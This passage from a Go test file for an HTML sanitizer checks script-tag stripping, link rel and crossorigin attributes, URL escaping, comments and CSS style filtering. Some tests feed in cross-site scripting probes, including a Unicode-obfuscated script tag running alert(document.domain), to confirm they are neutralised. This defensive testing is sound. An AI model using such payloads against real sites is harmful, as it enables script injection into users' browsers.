1650OnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIgogICBleGlmOlBpeGVsWERp
1651bWVuc2lvbj0iNzIiCiAgIGV4aWY6UGl4ZWxZRGltZW5zaW9uPSI3MiIKICAgdGlmZjpJbWFn
1652ZVdpZHRoPSI3MiIKICAgdGlmZjpJbWFnZUhlaWdodD0iNzIiCiAgIHRpZmY6T3JpZW50YXRp
1653b249IjEiLz4KIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+CiAgICAgICAgICAgICAgICAgICAg
1654ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1655ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
1656ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1657ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1658ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1659ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1660ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1661ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1662ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog
1663ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1664ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
1665ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1666ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
1667ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1668ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
1669ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1670ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1671ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1672ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1673ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1674ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1675ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1676ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1677ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
1678ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1679ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
1680ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1681ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg
1682ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1683ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
1684ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1685ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1686ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1687ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1688ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1689ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1690ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
1691IAogICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pq6cYi8A
1692AAADc0JJVAgICNvhT+AAAAN7SURBVGje7dtRSBNhHADwfxJ3L96Le0kf1GD1sBDyO5ALbEky
1693MyY9bHswg+FDW5B7EKVhJSeElrQUcRIkFFHoi0toPriEVi8KbUQxKSYNk8HpYE5ot4e7e/l6
16948NT08aTp6v9/25+P7+O3/3d3H3ffB7RooSSH7IQQYu0KS4qeeeEWyHbY+qLZvbbZiEcghBBH
1695IJ43NhrQ4oYiRUU7sQ0lFJqPizbBEViUFCWfnOmyCp4ZaV/bfHLKIwiecLYUYJTSbLid2ALJ
1696X/E+q7VnUdGz0pSDOKakA39DQrQSd8RI0cqgCLEe8rZ55zb1X5oKwLAMywJoANpOI4ZhAEBd
1697HnA6B5ZVPalqwHCckTGLAqvi69jPwZF36yrIK6GR4NrZjrbTbK2ziVsaeba0CaD+nAtOrtU6
1698m6rY2qbazYWH08syqOtLwUcfoamjzpCsSPNPigy5bYQQIti7xuP6VaOshsV26052Uc/mE1M9
1699DoEQQmxuMbyqGBvwBKUU/sUog380EIYwhCEMYQhD2DGMk4VCASuGMIQhDGEIQ9hxe0Af5eDy
1700j7ejw5PRVAGgwnLNJ/qaK+HTnRZ/bF8rc9/s86umEoKpXyb8E+nWx7NP65nM+9HuB/5T5tc3
1701zouzs/q7Ri0d6vdHLb5GU2lNxa0txuLq6aw3scDVNHZcrsjE0jKwnEmPQnQiVLg26KvnSmwq
1702Vjb3DjXvVC8djRVOtVbvGTbmh19utY55z7Cle/NQN94/8IcYl+iq2U19m55Mmb2d51ijnR45
1703TP7yrPvmaME1NnZrrzjy1+mo1tBp6OI6DndF2Ji/f3s03Si+6r34p0FNRb5q50ULd4iuj7Bi
17048reR7uFUgzjYYYFcLpfL5WT9I0sm9l2rbjQfxnWEFcvFJsIZgEi/O3LgiaVmUluMubr8UN2f
1705kGUZl1QIQxjCEIYwhCEMYYdbUuE+D4QhDGEIQxjC/luYvBK667zE8zx/oc0XXNK3B8vL0716
1706tsX75IOe3fzwxNtyged5vuX6QGhFNThkUfakJ0Sb4H6RyFOqrIZ7rIInmqdUSQbsxDEez+5m
1707I3lKpRm3YOuLSAql2fi4g9gDSUObZ4vy+o2tu/dmATiOBZA1UIEzcQDAMiaO+aPV9nbtKtfk
1708whWW4wBUWVOh3FTFsce2YnhSAk9K4EmJvxt4UgJPSuCSCmEIQxjCEAYAAL8BrebxGP8KiJcA
1709AAAASUVORK5CYII=" alt="">`
1710	out = p.Sanitize(input)
1711	expected = `<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABICAIAAADajyQQAAAAhnpUWHRSYXcgcHJvZmlsZSB0eXBlIGV4aWYAAHjadY5LCsNADEP3c4oewb+R7eOUkEBv0OPXZpKmm76FLIQRGvv7dYxHwyTDpgcSoMLSUp5lghZKxELct3RxXuVycsdDZRlkONn9aGd+MRWBw80dExs2qXbZlTVKu6hbqWfkT8l30Z/8WvEBQsUsKBcOhtYAAAoCaVRYdFhNTDpjb20uYWRvYmUueG1wAAAAAAA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJYTVAgQ29yZSA0LjQuMC1FeGl2MiI+CiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIKICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIgogICBleGlmOlBpeGVsWERpbWVuc2lvbj0iNzIiCiAgIGV4aWY6UGl4ZWxZRGltZW5zaW9uPSI3MiIKICAgdGlmZjpJbWFnZVdpZHRoPSI3MiIKICAgdGlmZjpJbWFnZUhlaWdodD0iNzIiCiAgIHRpZmY6T3JpZW50YXRpb249IjEiLz4KIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pq6cYi8AAAADc0JJVAgICNvhT+AAAAN7SURBVGje7dtRSBNhHADwfxJ3L96Le0kf1GD1sBDyO5ALbEkyMyY9bHswg+FDW5B7EKVhJSeElrQUcRIkFFHoi0toPriEVi8KbUQxKSYNk8HpYE5ot4e7e/l68NT08aTp6v9/25+P7+O3/3d3H3ffB7RooSSH7IQQYu0KS4qeeeEWyHbY+qLZvbbZiEcghBBHIJ43NhrQ4oYiRUU7sQ0lFJqPizbBEViUFCWfnOmyCp4ZaV/bfHLKIwiecLYUYJTSbLid2ALJX/E+q7VnUdGz0pSDOKakA39DQrQSd8RI0cqgCLEe8rZ55zb1X5oKwLAMywJoANpOI4ZhAEBdHnA6B5ZVPalqwHCckTGLAqvi69jPwZF36yrIK6GR4NrZjrbTbK2ziVsaeba0CaD+nAtOrtU6m6rY2qbazYWH08syqOtLwUcfoamjzpCsSPNPigy5bYQQIti7xuP6VaOshsV26052Uc/mE1M9DoEQQmxuMbyqGBvwBKUU/sUog380EIYwhCEMYQhD2DGMk4VCASuGMIQhDGEIQ9hxe0Af5eDyj7ejw5PRVAGgwnLNJ/qaK+HTnRZ/bF8rc9/s86umEoKpXyb8E+nWx7NP65nM+9HuB/5T5tc3zouzs/q7Ri0d6vdHLb5GU2lNxa0txuLq6aw3scDVNHZcrsjE0jKwnEmPQnQiVLg26KvnSmwqVjb3DjXvVC8djRVOtVbvGTbmh19utY55z7Cle/NQN94/8IcYl+iq2U19m55Mmb2d51ijnR45TP7yrPvmaME1NnZrrzjy1+mo1tBp6OI6DndF2Ji/f3s03Si+6r34p0FNRb5q50ULd4iuj7Bi8reR7uFUgzjYYYFcLpfL5WT9I0sm9l2rbjQfxnWEFcvFJsIZgEi/O3LgiaVmUluMubr8UN2fkGUZl1QIQxjCEIYwhCEMYYdbUuE+D4QhDGEIQxjC/luYvBK667zE8zx/oc0XXNK3B8vL0716tsX75IOe3fzwxNtyged5vuX6QGhFNThkUfakJ0Sb4H6RyFOqrIZ7rIInmqdUSQbsxDEez+5mI3lKpRm3YOuLSAql2fi4g9gDSUObZ4vy+o2tu/dmATiOBZA1UIEzcQDAMiaO+aPV9nbtKtfkwhWW4wBUWVOh3FTFsce2YnhSAk9K4EmJvxt4UgJPSuCSCmEIQxjCEAYAAL8BrebxGP8KiJcAAAAASUVORK5CYII=" alt="">`
1712	if out != expected {
1713		t.Errorf(
1714			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1715			input,
1716			out,
1717			expected)
1718	}
1719}
1720
1721func TestIssue55ScriptTags(t *testing.T) {
1722	p1 := NewPolicy()
1723	p2 := UGCPolicy()
1724	p3 := UGCPolicy().AllowElements("script").AllowUnsafe(true)
1725
1726	in := `<SCRIPT>document.write('<h1><header/h1>')</SCRIPT>`
1727	expected := ``
1728	out := p1.Sanitize(in)
1729	if out != expected {
1730		t.Errorf(
1731			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1732			in,
1733			out,
1734			expected,
1735		)
1736	}
1737
1738	expected = ``
1739	out = p2.Sanitize(in)
1740	if out != expected {
1741		t.Errorf(
1742			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1743			in,
1744			out,
1745			expected,
1746		)
1747	}
1748
1749	expected = `<script>document.write('<h1><header/h1>')</script>`
1750	out = p3.Sanitize(in)
1751	if out != expected {
1752		t.Errorf(
1753			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1754			in,
1755			out,
1756			expected,
1757		)
1758	}
1759}
1760
1761func TestIssue85NoReferrer(t *testing.T) {
1762	p := UGCPolicy()
1763	p.AllowAttrs("rel").OnElements("a")
1764	p.RequireNoReferrerOnLinks(true)
1765	p.AddTargetBlankToFullyQualifiedLinks(true)
1766	p.AllowAttrs("target").Matching(Paragraph).OnElements("a")
1767
1768	tests := []test{
1769		{
1770			in:       `<a href="/path" />`,
1771			expected: `<a href="/path" rel="nofollow noreferrer"/>`,
1772		},
1773		{
1774			in:       `<a href="/path" target="_blank" />`,
1775			expected: `<a href="/path" target="_blank" rel="nofollow noreferrer noopener"/>`,
1776		},
1777		{
1778			in:       `<a href="/path" target="foo" />`,
1779			expected: `<a href="/path" target="foo" rel="nofollow noreferrer"/>`,
1780		},
1781		{
1782			in:       `<a href="https://www.google.com/" />`,
1783			expected: `<a href="https://www.google.com/" rel="nofollow noreferrer noopener" target="_blank"/>`,
1784		},
1785		{
1786			in:       `<a href="https://www.google.com/" target="_blank"/>`,
1787			expected: `<a href="https://www.google.com/" target="_blank" rel="nofollow noreferrer noopener"/>`,
1788		},
1789		{
1790			in:       `<a href="https://www.google.com/" rel="nofollow"/>`,
1791			expected: `<a href="https://www.google.com/" rel="nofollow noreferrer noopener" target="_blank"/>`,
1792		},
1793		{
1794			in:       `<a href="https://www.google.com/" rel="noopener"/>`,
1795			expected: `<a href="https://www.google.com/" rel="noopener nofollow noreferrer" target="_blank"/>`,
1796		},
1797		{
1798			in:       `<a href="https://www.google.com/" rel="noopener nofollow" />`,
1799			expected: `<a href="https://www.google.com/" rel="noopener nofollow noreferrer" target="_blank"/>`,
1800		},
1801		{
1802			in:       `<a href="https://www.google.com/" target="foo" />`,
1803			expected: `<a href="https://www.google.com/" target="_blank" rel="nofollow noreferrer noopener"/>`,
1804		},
1805		{
1806			in:       `<a href="https://www.google.com/" rel="external"/>`,
1807			expected: `<a href="https://www.google.com/" rel="external nofollow noreferrer noopener" target="_blank"/>`,
1808		},
1809	}
1810
1811	// These tests are run concurrently to enable the race detector to pick up
1812	// potential issues
1813	wg := sync.WaitGroup{}
1814	wg.Add(len(tests))
1815	for ii, tt := range tests {
1816		go func(ii int, tt test) {
1817			out := p.Sanitize(tt.in)
1818			if out != tt.expected {
1819				t.Errorf(
1820					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1821					ii,
1822					tt.in,
1823					out,
1824					tt.expected,
1825				)
1826			}
1827			wg.Done()
1828		}(ii, tt)
1829	}
1830	wg.Wait()
1831}
1832
1833func TestIssue107(t *testing.T) {
1834	p := UGCPolicy()
1835	p.RequireCrossOriginAnonymous(true)
1836
1837	tests := []test{
1838		{
1839			in:       `<img src="/path" />`,
1840			expected: `<img src="/path" crossorigin="anonymous"/>`,
1841		},
1842		{
1843			in:       `<img src="/path" crossorigin="use-credentials"/>`,
1844			expected: `<img src="/path" crossorigin="anonymous"/>`,
1845		},
1846		{
1847			in:       `<img src="/path" crossorigin=""/>`,
1848			expected: `<img src="/path" crossorigin="anonymous"/>`,
1849		},
1850	}
1851
1852	// These tests are run concurrently to enable the race detector to pick up
1853	// potential issues
1854	wg := sync.WaitGroup{}
1855	wg.Add(len(tests))
1856	for ii, tt := range tests {
1857		go func(ii int, tt test) {
1858			out := p.Sanitize(tt.in)
1859			if out != tt.expected {
1860				t.Errorf(
1861					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1862					ii,
1863					tt.in,
1864					out,
1865					tt.expected,
1866				)
1867			}
1868			wg.Done()
1869		}(ii, tt)
1870	}
1871	wg.Wait()
1872}
1873
1874func TestSanitizedURL(t *testing.T) {
1875	tests := []test{
1876		{
1877			in:       `http://abc.com?d=1&a=2&a=3`,
1878			expected: `http://abc.com?d=1&a=2&a=3`,
1879		},
1880		{
1881			in:       `http://abc.com?d=1 2&a=2&a=3`,
1882			expected: `http://abc.com?d=1+2&a=2&a=3`,
1883		},
1884		{
1885			in:       `http://abc.com?d=1/2&a=2&a=3`,
1886			expected: `http://abc.com?d=1%2F2&a=2&a=3`,
1887		},
1888		{
1889			in:       `http://abc.com?<d>=1&a=2&a=3`,
1890			expected: `http://abc.com?%26lt%3Bd%26gt%3B=1&a=2&a=3`,
1891		},
1892	}
1893
1894	for _, theTest := range tests {
1895		res, err := sanitizedURL(theTest.in)
1896		if err != nil {
1897			t.Errorf("sanitizedURL returned error: %v", err)
1898		}
1899		if theTest.expected != res {
1900			t.Errorf(
1901				"test failed;\ninput   : %s\nexpected: %s, actual: %s",
1902				theTest.in,
1903				theTest.expected,
1904				res,
1905			)
1906		}
1907	}
1908}
1909
1910func TestIssue111ScriptTags(t *testing.T) {
1911	p1 := NewPolicy()
1912	p2 := UGCPolicy()
1913	p3 := UGCPolicy().AllowElements("script")
1914
1915	in := `<scr\u0130pt>&lt;script&gt;alert(document.domain)&lt;/script&gt;`
1916	expected := `&lt;script&gt;alert(document.domain)&lt;/script&gt;`
1917	out := p1.Sanitize(in)
1918	if out != expected {
1919		t.Errorf(
1920			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1921			in,
1922			out,
1923			expected,
1924		)
1925	}
1926
1927	expected = `&lt;script&gt;alert(document.domain)&lt;/script&gt;`
1928	out = p2.Sanitize(in)
1929	if out != expected {
1930		t.Errorf(
1931			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1932			in,
1933			out,
1934			expected,
1935		)
1936	}
1937
1938	expected = `&lt;script&gt;alert(document.domain)&lt;/script&gt;`
1939	out = p3.Sanitize(in)
1940	if out != expected {
1941		t.Errorf(
1942			"test failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1943			in,
1944			out,
1945			expected,
1946		)
1947	}
1948}
1949
1950func TestQuotes(t *testing.T) {
1951	p := UGCPolicy()
1952
1953	tests := []test{
1954		{
1955			in:       `noquotes`,
1956			expected: `noquotes`,
1957		},
1958		{
1959			in:       `"singlequotes"`,
1960			expected: `&#34;singlequotes&#34;`,
1961		},
1962		{
1963			in:       `""doublequotes""`,
1964			expected: `&#34;&#34;doublequotes&#34;&#34;`,
1965		},
1966	}
1967
1968	// These tests are run concurrently to enable the race detector to pick up
1969	// potential issues
1970	wg := sync.WaitGroup{}
1971	wg.Add(len(tests))
1972	for ii, tt := range tests {
1973		go func(ii int, tt test) {
1974			out := p.Sanitize(tt.in)
1975			if out != tt.expected {
1976				t.Errorf(
1977					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1978					ii,
1979					tt.in,
1980					out,
1981					tt.expected,
1982				)
1983			}
1984			wg.Done()
1985		}(ii, tt)
1986	}
1987	wg.Wait()
1988}
1989
1990func TestComments(t *testing.T) {
1991	p := UGCPolicy()
1992
1993	tests := []test{
1994		{
1995			in:       `1 <!-- 2 --> 3`,
1996			expected: `1  3`,
1997		},
1998		{
1999			in:       `<!--[if gte mso 9]>Hello<![endif]-->`,
2000			expected: ``,
2001		},
2002	}
2003
2004	// These tests are run concurrently to enable the race detector to pick up
2005	// potential issues
2006	wg := sync.WaitGroup{}
2007	wg.Add(len(tests))
2008	for ii, tt := range tests {
2009		go func(ii int, tt test) {
2010			out := p.Sanitize(tt.in)
2011			if out != tt.expected {
2012				t.Errorf(
2013					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
2014					ii,
2015					tt.in,
2016					out,
2017					tt.expected,
2018				)
2019			}
2020			wg.Done()
2021		}(ii, tt)
2022	}
2023	wg.Wait()
2024
2025	p.AllowComments()
2026
2027	tests = []test{
2028		{
2029			in:       `1 <!-- 2 --> 3`,
2030			expected: `1 <!-- 2 --> 3`,
2031		},
2032		{
2033			in:       `<!--[if gte mso 9]>Hello<![endif]-->`,
2034			expected: `<!--[if gte mso 9]>Hello<![endif]-->`,
2035		},
2036	}
2037
2038	// These tests are run concurrently to enable the race detector to pick up
2039	// potential issues
2040	wg = sync.WaitGroup{}
2041	wg.Add(len(tests))
2042	for ii, tt := range tests {
2043		go func(ii int, tt test) {
2044			out := p.Sanitize(tt.in)
2045			if out != tt.expected {
2046				t.Errorf(
2047					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
2048					ii,
2049					tt.in,
2050					out,
2051					tt.expected,
2052				)
2053			}
2054			wg.Done()
2055		}(ii, tt)
2056	}
2057	wg.Wait()
2058}
2059
2060func TestDefaultStyleHandlers(t *testing.T) {
2061
2062	tests := []test{
2063		{
2064			in:       `<div style="nonexistentStyle: something;"></div>`,
2065			expected: `<div></div>`,
2066		},
2067		{
2068			in:       `<div style="aLiGn-cOntEnt: cEntEr;"></div>`,
2069			expected: `<div style="aLiGn-cOntEnt: cEntEr"></div>`,
2070		},
2071		{
2072			in:       `<div style="align-items: center;"></div>`,
2073			expected: `<div style="align-items: center"></div>`,
2074		},
2075		{
2076			in:       `<div style="align-self: center;"></div>`,
2077			expected: `<div style="align-self: center"></div>`,
2078		},
2079		{
2080			in:       `<div style="all: initial;"></div>`,
2081			expected: `<div style="all: initial"></div>`,
2082		},
2083		{
2084			in: `<div style="animation: mymove 5s infinite;"></div><div` +
2085				` style="animation: inherit;"></div>`,
2086			expected: `<div style="animation: mymove 5s infinite"></div><div` +
2087				` style="animation: inherit"></div>`,
2088		},
2089		{
2090			in: `<div style="animation-delay: 2s;"></div><div style=` +
2091				`"animation-delay: initial;"></div>`,
2092			expected: `<div style="animation-delay: 2s"></div><div style=` +
2093				`"animation-delay: initial"></div>`,
2094		},
2095		{
2096			in:       `<div style="animation-direction: alternate;"></div>`,
2097			expected: `<div style="animation-direction: alternate"></div>`,
2098		},
2099		{
2100			in: `<div style="animation-duration: 2s;"></div><div style=` +
2101				`"animation-duration: initial;"></div>`,
2102			expected: `<div style="animation-duration: 2s"></div><div style=` +
2103				`"animation-duration: initial"></div>`,
2104		},
2105		{
2106			in:       `<div style="animation-fill-mode: forwards;"></div>`,
2107			expected: `<div style="animation-fill-mode: forwards"></div>`,
2108		},
2109		{
2110			in: `<div style="animation-iteration-count: 4;"></div><div ` +
2111				`style="animation-iteration-count: inherit;"></div>`,
2112			expected: `<div style="animation-iteration-count: 4"></div><div ` +
2113				`style="animation-iteration-count: inherit"></div>`,
2114		},
2115		{
2116			in: `<div style="animation-name: chuck;"></div><div style=` +
2117				`"animation-name: none"></div>`,
2118			expected: `<div style="animation-name: chuck"></div><div style=` +
2119				`"animation-name: none"></div>`,
2120		},
2121		{
2122			in:       `<div style="animation-play-state: running;"></div>`,
2123			expected: `<div style="animation-play-state: running"></div>`,
2124		},
2125		{
2126			in: `<div style="animation-timing-function: ` +
2127				`cubic-bezier(1,1,1,1);"></div><div style=` +
2128				`"animation-timing-function: steps(2, start);"></div>`,
2129			expected: `<div style="animation-timing-function: ` +
2130				`cubic-bezier(1,1,1,1)"></div><div style=` +
2131				`"animation-timing-function: steps(2, start)"></div>`,
2132		},
2133		{
2134			in:       `<div style="backface-visibility: hidden"></div>`,
2135			expected: `<div style="backface-visibility: hidden"></div>`,
2136		},
2137		{
2138			in: `<div style="background: lightblue ` +
2139				`url('https://img_tree.gif') no-repeat fixed center"></div>` +
2140				`<div style="background: initial"></div>`,
2141			expected: `<div style="background: lightblue ` +
2142				`url(&#39;https://img_tree.gif&#39;) no-repeat fixed center">` +
2143				`</div><div style="background: initial"></div>`,
2144		},
2145		{
2146			in:       `<div style="background-attachment: fixed"></div>`,
2147			expected: `<div style="background-attachment: fixed"></div>`,
2148		},
2149		{
2150			in:       `<div style="background-blend-mode: lighten"></div>`,
2151			expected: `<div style="background-blend-mode: lighten"></div>`,
2152		},
2153		{
2154			in:       `<div style="background-clip: padding-box"></div>`,
2155			expected: `<div style="background-clip: padding-box"></div>`,
2156		},
2157		{
2158			in:       `<div style="background-color: coral"></div>`,
2159			expected: `<div style="background-color: coral"></div>`,
2160		},
2161		{
2162			in: `<div style="background-image: url('http://paper.gif')">` +
2163				`</div><div style="background-image: inherit"></div>`,
2164			expected: `<div style="background-image: ` +
2165				`url(&#39;http://paper.gif&#39;)"></div><div style="` +
2166				`background-image: inherit"></div>`,
2167		},
2168		{
2169			in:       `<div style="background-origin: content-box"></div>`,
2170			expected: `<div style="background-origin: content-box"></div>`,
2171		},
2172		{
2173			in: `<div style="background-position: center"></div><div ` +
2174				`style="background-position: 20px 20px"></div>`,
2175			expected: `<div style="background-position: center"></div><div ` +
2176				`style="background-position: 20px 20px"></div>`,
2177		},
2178		{
2179			in:       `<div style="background-repeat: repeat-y"></div>`,
2180			expected: `<div style="background-repeat: repeat-y"></div>`,
2181		},
2182		{
2183			in: `<div style="background-size: 300px 100px"></div><div ` +
2184				`style="background-size: initial"></div>`,
2185			expected: `<div style="background-size: 300px 100px"></div>` +
2186				`<div style="background-size: initial"></div>`,
2187		},
2188		{
2189			in: `<div style="border: 4px dotted blue;"></div><div ` +
2190				`style="border: initial;"></div>`,
2191			expected: `<div style="border: 4px dotted blue"></div><div ` +
2192				`style="border: initial"></div>`,
2193		},
2194		{
